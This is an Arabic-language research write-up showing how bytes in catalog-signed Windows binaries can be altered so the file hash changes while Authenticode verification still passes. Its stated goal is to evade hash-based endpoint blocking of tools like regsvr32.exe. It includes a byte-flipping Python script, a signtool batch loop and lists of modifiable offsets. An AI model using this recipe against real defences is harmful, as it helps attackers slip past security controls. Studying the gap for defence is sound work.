
يحوّر ملفات ويندوز الثنائية الموقّعة للاحتفاظ بتوقيعات كتالوج صالحة مع تغيير تجزئات الملفات، متجاوزًا حظر نقاط النهاية القائم على التجزئة وكاشفًا فجوات التحقق من Authenticode.
كانت الفكرة هي تجاوز حلول نقاط النهاية التي تحظر التطبيقات الموقّعة المعروفة بأنها "خبيثة" مثل "regsvr32.exe". أردت إيجاد طريقة للحصول على ملف موقّع صالح بهاش مختلف.
باستخدام signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
اعتقدت أن "هاش الملف" هو SHA1 لـ cmd.exe بناءً على المخرجات (7EB22CBAA74B208DF433C70C06A99280036A52F3)
كشف مزيد من الفحص أن SHA1 لملف cmd.exe كان
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
مثير للاهتمام، نفس الملف بهاشين مختلفين.
عند هذه النقطة اشتبهت في أن التوقيع قد لا يشمل جميع أقسام الملف.
كتبت سكربت بايثون بسيطًا لتوليد ملفات الاختبار.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
تم بعد ذلك تنفيذ python generate.py cmd.exe وتم توليد أكثر من 300 جيجابايت من الملفات الجديدة.
نحتاج الآن إلى التحقق من كل ملف أنشأناه لمعرفة ما إذا كان يجتاز اختبار التوقيع.
يمكن لملف دفعي بسيط القيام بذلك
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
اجتاز الملف الثنائي 330.exe فحص التوقيع. في هذه الحالة يكون الملف مختلفًا لأن الإزاحة 330 تم تعديلها.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
يمكن تعديل البايتات التالية دون كسر التوقيع:
330, 331, 408 - 412
يمكن تعديل البايتات التالية دون كسر التوقيع:
320 - 323, 400 - 407
يمكن تعديل البايتات التالية دون كسر التوقيع:
216 - 219